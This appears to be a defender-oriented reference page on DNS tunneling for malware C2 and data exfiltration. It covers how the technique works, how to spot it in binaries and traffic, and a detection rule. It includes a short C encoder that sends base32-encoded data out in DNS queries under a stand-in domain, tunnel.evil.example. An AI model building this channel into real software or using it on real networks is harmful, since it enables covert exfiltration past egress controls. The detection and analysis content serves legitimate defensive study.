Skip to content
Command & Controlintermediate

DNS Tunneling

Malware encodes C2 traffic or exfiltrated data inside DNS queries and responses, abusing a protocol that egress filters and proxies almost always allow to pass.

DNS is one of the few protocols that is allowed out of nearly every network, frequently without inspection, and that resolvers will recursively forward to an attacker-controlled authoritative server. DNS tunneling abuses this: the implant encodes outbound data into the labels of a query (e.g. <base32-chunk>.tunnel.evil.example) and receives commands back inside resource-record data such as TXT, CNAME, NULL, or AAAA answers.

Throughput is low and latency is high, so DNS tunneling is favoured for beaconing, small command exchange, and slow data exfiltration rather than bulk transfer — though attackers will happily move kilobytes a query at a time when no other egress exists. State-sponsored toolsets (OilRig's various downloaders, DNSpionage) and commercial frameworks (Cobalt Strike's DNS beacon) all support it.

How it works

The implant chunks payload bytes, encodes each chunk into a DNS-safe alphabet, and emits one query per chunk under a domain whose authoritative server is the C2:

c
// Illustrative outbound encoder — descriptive, not deployable.
// data -> base32 labels -> queries under the C2's zone.
void exfil_over_dns(const uint8_t *data, size_t len, const char *zone)
{
    char b32[64];
    for (size_t off = 0; off < len; off += 20) {
        size_t n = (len - off > 20) ? 20 : (len - off);
        base32_encode(data + off, n, b32);        // ~32 chars, DNS-safe
        char qname[256];
        // sequence number lets the server reassemble out-of-order answers
        snprintf(qname, sizeof qname, "%u.%s.%s", (unsigned)(off / 20), b32, zone);
        dns_query_TXT(qname);                      // answer carries next command
    }
}

The C2's authoritative server decodes the labels, reassembles by sequence number, and packs replies into the answer section. Tells for a reverser: base32/base64/hex helper routines feeding directly into DnsQuery/res_query/getaddrinfo, abnormally long subdomain labels, and a fixed apex zone string stored in the binary.

Detection & analysis

Static analysis:

  • Recover the apex/zone string and the encoding routine. A base32 or hex table adjacent to DNS-resolution calls, with no HTTP stack present, strongly implies a DNS channel. The record type the malware requests (TXT/NULL/CNAME) tells you where the inbound commands live.
  • Note the query construction format string — the delimiter and sequence-number scheme let you decode captured PCAPs offline and recover both directions of the conversation.
  • Check whether the implant uses the system resolver (getaddrinfo/DnsQuery) or talks to a hard-coded DNS server directly over UDP/53. A binary that bypasses the configured resolver to reach a specific upstream is a strong tunneling indicator and also reveals the authoritative C2 server address.

Dynamic analysis:

  • Capture DNS in a sandbox and measure per-domain query volume and label characteristics. Tunneling shows up as a high count of unique, long, high-entropy subdomains under a single registered parent domain, frequently with TXT/NULL query types that are rare in normal traffic.
  • Compute the uplink/downlink byte ratio: encoded query names carry far more data than benign lookups, and consistent large query sizes plus large TXT answers indicate a channel.
  • Decode the captured labels with the reversed encoder to read the staged payload or commands.

Detection rule hint:

Alert when a single second-level domain receives many distinct subdomain queries per minute with average label length above ~25 characters and high Shannon entropy, especially for TXT/NULL/CNAME types or when total bytes-in-qname per host far exceeds normal baselines — long, high-entropy labels concentrated under one apex are the defining marker of DNS tunneling.

Votes

Comments(0)